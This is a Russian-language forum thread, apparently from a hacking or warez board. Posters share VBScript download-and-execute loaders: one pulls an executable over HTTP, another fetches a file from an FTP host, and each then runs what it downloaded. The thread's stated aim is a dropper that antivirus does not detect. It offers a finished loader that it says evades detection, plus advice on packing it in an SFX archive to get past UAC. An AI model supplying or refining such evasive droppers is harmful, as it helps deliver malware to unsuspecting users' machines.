Есть скрипт на скачивание файла по протоколу http и запуска. Налетай. Код: Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP") oXMLHTTP.Open "GET", "http://rarlab.com/rar/wrar500ru.exe", 0 oXMLHTTP.Send Set oADOStream = CreateObject("ADODB.Stream") oADOStream.Mode = 3 oADOStream.Type = 1 oADOStream.Open oADOStream.Write oXMLHTTP.responseBody oADOStream.SaveToFile "C:\wrar500ru.exe", 2 dim path, WshShell path = "C:\" set WshShell = WScript.CreateObject("Wscript.Shell") WshShell.Run path & "wrar500ru.exe", ,true Хотя скрипт с виду безобидный антивирусы ругаются на поведение скрипта закачка - запуск. Определяют как троян дроппер. Есть второй скрипт закачка по протоколу ftp. Код: Set objShell = CreateObject("Shell.Application") Set objFolder = objShell.NameSpace("D:\Temp") objFolder.CopyHere "ftp://Userassword@domen_name.ru/folder/subfolder/filename.zip" WScript.Sleep 60000 Не палиться ничем но когда его запускаешь он создает пустой файл 0 байт, filename.zip а закачка не происходит. Wget и другие варианты загрузчиков с расширением .exe не подойдут. В Visual Basic нуб обещаю буду рости но пока прошу помощи. В идеале нужен скрипт с расширение *.vbs выполняющий шаблон скачивание-запуск не палящийся АВ. Можно в личку.
Проблемма решена. Все исправно работает и не палиться Берите кому нужно готовый загрузчик. Что бы не было проблемм с UAC компилируйте в .exe самый простой способ упаковать скрипт в sfx архив. Set objShell = CreateObject("Shell.Application") Set objFolder = objShell.NameSpace("D:\Temp") objFolder.CopyHere "ftp://Userassword@domen_name.ru/folder/subfolder/filename.zip" WScript.Sleep 60000 dim path, WshShell path = "C:\" set WshShell = WScript.CreateObject("Wscript.Shell") WshShell.Run path & "filename.zip", ,true
Спасибо большое! Вот такой vbs использовал я Hidden Content: **Hidden Content: To see this hidden content your post count must be 10 or greater.**
